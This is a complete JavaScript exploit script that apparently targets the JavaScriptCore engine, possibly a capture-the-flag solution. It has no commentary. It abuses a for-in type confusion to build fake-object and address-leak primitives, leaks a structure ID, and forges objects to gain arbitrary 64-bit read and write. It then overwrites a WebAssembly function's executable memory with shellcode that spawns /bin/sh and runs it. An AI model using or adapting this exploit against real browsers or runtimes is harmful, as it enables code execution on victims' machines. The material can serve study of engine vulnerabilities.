var
buf =
new
ArrayBuffer(8);
var
dv =
new
DataView(buf);
var
u8 =
new
Uint8Array(buf);
var
u32 =
new
Uint32Array(buf);
var
u64 =
new
BigUint64Array(buf);
var
f32 =
new
Float32Array(buf);
var
f64 =
new
Float64Array(buf);
function
pair_u32_to_f64(l, h) {
u32[0] = l;
u32[1] = h;
return
f64[0];
}
function
u64_to_f64(val) {
u64[0] = val;
return
f64[0];
}
function
f64_to_u64(val) {
f64[0] = val;
return
u64[0];
}
function
set_u64(val) {
u64[0] = val;
}
function
set_l(l) {
u32[0] = l;
}
function
set_h(h) {
u32[1] = h;
}
function
get_l() {
return
u32[0];
}
function
get_h() {
return
u32[1];
}
function
get_u64() {
return
u64[0];
}
function
get_f64() {
return
f64[0];
}
function
get_fl(val) {
f64[0] = val;
return
u32[0];
}
function
get_fh(val) {
f64[0] = val;
return
u32[1];
}
function
hexx(str, val) {
print(str+
": 0x"
+val.toString(16));
}
function
sleep(ms) {
return
new
Promise((resolve) => setTimeout(resolve, ms));
}
var
abuf =
new
ArrayBuffer(8);
var
fbuf =
new
Float64Array(abuf);
var
lbuf =
new
BigUint64Array(abuf);
var
arrs =
new
Array(0x20).fill({});
for
(let i = 0; i < 0x20; i++) {
arrs[i] = { x: 1337, y: 1337 };
};
var
t = { x: 1337, y: 1337};
var
obj = { x: 1337, y: 1337 };
var
obj_to_leak = { x: 1337, y: 1337 };
var
header = { x: 1337, y: 1337 };
var
butterfly = { x: 200, y: 1337 };
var
addressOf_obj = { x: 1337, y: 1337 };
function
trigger(arr, a2) {
for
(let i
in
obj) {
obj = [1];
let out = arr[i];
a2.y = out;
}
}
function
fakeObject(addr, a2) {
lbuf[0] = 0xfffe_0000_0000_0000n + addr;
trigger(fbuf, a2);
}
function
compare_obj(pointer, target_obj) {
return
pointer.y === target_obj;
}
trigger(obj, t);
compare_obj(t, obj_to_leak);
for
(let i = 0; i < 0x30000; i++) {
trigger(fbuf, t);
}
lbuf[0] = 0xfffe0000_22222222n;;
for
(let i = 0; i < 0x1000; i++) {
trigger(fbuf, t);
}
for
(let i = 0; i < 0x10000; i++) {
compare_obj(t, obj_to_leak);
}
print(
"==> Go"
);
var
addr = 0n;
for
(let i = 0n; i < 0xffff; i += 1n) {
addr = 0x7fffff50c580n - i*0x1000000n;
fakeObject(addr, t);
let res = compare_obj(t, obj_to_leak);
if
(res) {
hexx(
"addr"
, addr);
break
;
}
}
obj_to_leak.x = u64_to_f64(0x0108230700000000n-0x2000000000000n);
fakeObject(0x2000000020n, header);
obj_to_leak.y = butterfly;
fakeObject(addr+0x10n, t);
var
fake_object = t.y;
function
addressOf(obj) {
butterfly.x = obj;
return
f64_to_u64(fake_object[2]);
}
print(
"==> End"
);
hexx(
"test"
, addressOf(addressOf_obj));
function
fakeObject_better(addr) {
fake_object[2] = u64_to_f64(addr);
return
butterfly.x;
}
function
leakStructureID(obj) {
let container = {
jscell: u64_to_f64(0x0108230700000000n-0x2000000000000n),
butterfly: obj
};
let fake_object_addr = addressOf(container) + 0x10n;
let leak_fake_object = fakeObject_better(fake_object_addr);
let num = f64_to_u64(leak_fake_object[0]);
let structureID = num & 0xffffffffn;
container.jscell = f64[0];
return
structureID;
}
var
noCOW = 1.1;
var
arrs = [];
for
(let i = 0; i < 100; i++) {
arrs.push([noCOW]);
}
var
ID = [noCOW];
var
structureID = leakStructureID(ID);
hexx(
"structureID"
, structureID);
var
victim = [noCOW, 1.1, 2.2];
victim[
'prop'
] = 3.3;
victim[
'brob'
] = 4.4;
var
container = {
jscell: u64_to_f64(structureID+0x0108230900000000n-0x2000000000000n),
butterfly: victim
};
var
container_addr = addressOf(container);
var
driver_addr = container_addr + 0x10n;
var
driver = fakeObject_better(driver_addr);
var
unboxed = [noCOW, 1.1, 2.2];
var
boxed = [{}];
driver[1] = unboxed;
var
sharedButterfly = victim[1];
hexx(
"sharedButterfly"
, f64_to_u64(sharedButterfly));
driver[1] = boxed;
victim[1] = sharedButterfly;
function
new_addressOf(obj) {
boxed[0] = obj;
return
f64_to_u64(unboxed[0]);
}
function
new_fakeObject(addr) {
unboxed[0] = u64_to_f64(addr);
return
boxed[0];
}
function
read64(addr) {
driver[1] = new_fakeObject(addr + 0x10n);
return
new_addressOf(victim.prop);
}
function
write64(addr, val) {
driver[1] = new_fakeObject(addr + 0x10n);
victim.prop = u64_to_f64(val);;
}
function
ByteToDwordArray(payload) {
let sc = [];
let tmp = [];
let len = Math.ceil(payload.length / 6);
for
(let i = 0; i < len; i += 1) {
tmp = 0n;
pow = 1n;
for
(let j = 0; j < 6; j++){
let c = payload[i*6+j]
if
(c === undefined) {
c = 0n;
}
pow = j==0 ? 1n : 256n * pow;
tmp += c * pow;
}
tmp += 0xc000000000000n;
sc.push(tmp);
}
return
sc;
}
function
arb_write(addr, payload) {
let sc = ByteToDwordArray(payload);
for
(let i = 0; i < sc.length; i++) {
write64(addr, sc[i]);
addr += 6n;
}
}
var
wasm_code =
new
Uint8Array([0,97,115,109,1,0,0,0,1,133,128,128,
128,0,1,96,0,1,127,3,130,128,128,128,
0,1,0,4,132,128,128,128,0,1,112,0,0,5,
131,128,128,128,0,1,0,1,6,129,128,128,128,
0,0,7,145,128,128,128,0,2,6,109,101,109,111,
114,121,2,0,4,109,97,105,110,0,0,10,142,128,128,
128,0,1,136,128,128,128,0,0,65,239,253,182,245,125,11]);
var
wasm_module =
new
WebAssembly.Module(wasm_code);
var
wasm_instance =
new
WebAssembly.Instance(wasm_module);
var
pwn = wasm_instance.exports.main;
var
pwn_addr = new_addressOf(pwn);
hexx(
"pwn_addr"
, pwn_addr);
var
rwx_ptr = read64(pwn_addr + 0x30n);
var
rwx_addr = read64(rwx_ptr);;
hexx(
"rwx_addr"
, rwx_addr);
var
shellcode =[106n, 104n, 72n, 184n, 47n, 98n, 105n, 110n, 47n, 47n, 47n, 115n,
80n, 72n, 137n, 231n, 104n, 114n, 105n, 1n, 1n, 129n, 52n, 36n, 1n,
1n, 1n, 1n, 49n, 246n, 86n, 106n, 8n, 94n, 72n, 1n, 230n,86n, 72n,
137n, 230n, 49n, 210n, 106n, 59n, 88n, 15n, 5n];
arb_write(rwx_addr, shellcode);
pwn();